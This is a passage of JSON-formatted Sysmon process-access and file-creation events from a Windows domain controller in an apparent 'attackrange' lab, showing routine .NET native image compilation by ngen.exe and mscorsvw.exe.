12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6696,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:24.619\r\nProcessGuid: {90617006-4294-5F2D-0000-001011780A00}\r\nProcessId: 4624\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1210-0\\PresentationFramework.Aero2.dll\r\nCreationUtcTime: 2020-08-07 12:01:24.619","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:24.619","ProcessGuid":"{90617006-4294-5F2D-0000-001011780A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1210-0\\PresentationFramework.Aero2.dll","CreationUtcTime":"2020-08-07 12:01:24.619","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6697,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-0010DB7C0A00}\r\nTargetProcessId: 4356\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-0010DB7C0A00}","TargetProcessId":"4356","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6698,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-0010DB7C0A00}\r\nTargetProcessId: 4356\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-0010DB7C0A00}","TargetProcessId":"4356","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6699,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-0010DB7C0A00}\r\nTargetProcessId: 4356\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-0010DB7C0A00}","TargetProcessId":"4356","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6700,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-0010FA800A00}\r\nTargetProcessId: 4816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-0010FA800A00}","TargetProcessId":"4816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6701,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-0010FA800A00}\r\nTargetProcessId: 4816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-0010FA800A00}","TargetProcessId":"4816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6702,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:24.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-0010FA800A00}\r\nTargetProcessId: 4816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:24.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-0010FA800A00}","TargetProcessId":"4816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6703,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:27.369\r\nProcessGuid: {90617006-4294-5F2D-0000-0010FA800A00}\r\nProcessId: 4816\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12d0-0\\Microsoft.ActiveDirectory.Management.dll\r\nCreationUtcTime: 2020-08-07 12:01:27.369","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:27.369","ProcessGuid":"{90617006-4294-5F2D-0000-0010FA800A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12d0-0\\Microsoft.ActiveDirectory.Management.dll","CreationUtcTime":"2020-08-07 12:01:27.369","EventReceivedTime":"2020-08-07 12:01:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6704,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:27.447\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4297-5F2D-0000-001059880A00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:27.447","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4297-5F2D-0000-001059880A00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\W